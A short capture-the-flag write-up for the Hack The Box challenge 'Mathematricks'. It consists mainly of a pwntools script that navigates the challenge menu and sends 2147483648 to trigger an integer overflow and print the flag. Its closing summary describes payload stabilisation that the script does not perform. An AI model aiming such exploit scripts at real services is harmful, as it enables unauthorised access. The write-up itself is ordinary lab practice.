https://app.hackthebox.com/challenges/818

Description

How about a magic trick? Or a math trick? Beat me and I will give you an amazing reward!

Exploitation

#!/usr/bin/env python3
from pwn import *
import warnings
import os
import sys

def get_process():
    try:
        host, port = sys.argv[1].split(':')
        return remote(host, int(port))
    except IndexError:
        print(f'Usage: python {sys.argv[0]} <ip:port>')
        exit(1)

def exploit_integer_overflow():
    warnings.filterwarnings('ignore')
    context.arch = 'amd64'
    context.log_level = 'critical'
    try:
        r = get_process()
        sla = lambda x, y: r.sendlineafter(x, y)
        sla('🥸 ', '1')
        sla('> ', '2')
        sla('> ', '1')
        sla('> ', '0')
        n1 = '2147483648'
        n2 = '1'
        sla('n1: ', n1)
        sla('n2: ', n2)
        flag = r.recvline_contains(b"HTB").strip().decode()
        print(f'Flag --> {flag}')
    except Exception as e:
        print(f"Error during exploitation: {str(e)}")
        if 'r' in locals():
            r.close()

if __name__ == "__main__":
    exploit_integer_overflow()

Summary

Mathematricks: build the exploit primitive, stabilize the payload, and use it to read the flag.